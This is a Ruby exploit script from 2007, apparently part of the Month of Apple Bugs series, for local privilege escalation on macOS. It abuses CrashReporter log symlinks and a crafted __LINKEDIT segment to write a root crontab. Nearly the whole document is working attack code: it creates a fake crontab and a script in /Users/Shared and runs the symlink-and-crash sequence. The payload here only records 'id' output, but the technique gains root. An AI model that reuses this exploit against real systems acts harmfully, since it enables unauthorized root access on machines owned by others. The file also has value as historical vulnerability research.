MOAB-28-01-2007.rb.txt
Posted on 29 January 2007
#!/usr/bin/ruby # Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com> # Lance M. Havok <lmh [at] info-pull.com> # All pwnage reserved. # # 1) Stop crashdump from writing to ~/Library/Logs via chmod 000 ~/Library/Logs/CrashReporter # 2) Make symlink to /Library/Logs/CrashReporter/knownprog.crash.log # 3) Create a program with a modified __LINKEDIT segment that influences crashreporter output # # 0000320: 3800 0000 5f5f 4c49 4e4b 4544 4954 0000 8...__LINKEDIT.. # 0000330: 0000 0000 0040 0000 0010 0000 0030 0000 .....@.......0.. # 0000340: 2004 0000 0300 0000 0100 0000 0000 0000 ............... # 0000350: 0400 0000 0e00 0000 1c00 0000 0c00 0000 ................ # 0000360: 2f75 7372 2f6c 6962 2f64 796c 6400 0000 /usr/lib/dyld... # 0000370: 0c00 0000 3400 0000 1800 0000 68b7 9b45 ....4.......h..E # 0000380: 0403 5800 0000 0100 0d0a 2a20 2a20 2a20 ..X.......* * * # 0000390: 2a20 2a20 2f74 6d70 2f78 0d0a 2e64 796c * * /tmp/x...dyl # 00003a0: 6962 0000 0200 0000 1800 0000 0030 0000 ib...........0.. # # 4) Run the fake program which will crash and create /var/cron/tabs/root # 5) Sleep and then create a legit crontab to refresh cron SYMLINK_PATH = "/Library/Logs/CrashReporter/vuln.crash.log" PWNERCYCLE = "ln -s /var/cron/tabs/root #{SYMLINK_PATH};" + "chmod 000 ~/Library/Logs/CrashReporter/;" + "crontab /tmp/fakecron;" + "chmod +x /Users/Shared/r00t; sleep 61; ./vuln;" def escalate() puts "++ Fixing up a fake crontab" fakecron = File.new("/tmp/fakecron", "w") fakecron.print("* * * * * /usr/bin/id > /tmp/USERCRON ") fakecron.close tmp_ex = File.new("/Users/Shared/r00t", "w") tmp_ex.print("/usr/bin/id > /tmp/CRASHREPOWNED ") tmp_ex.close system PWNERCYCLE end escalate()
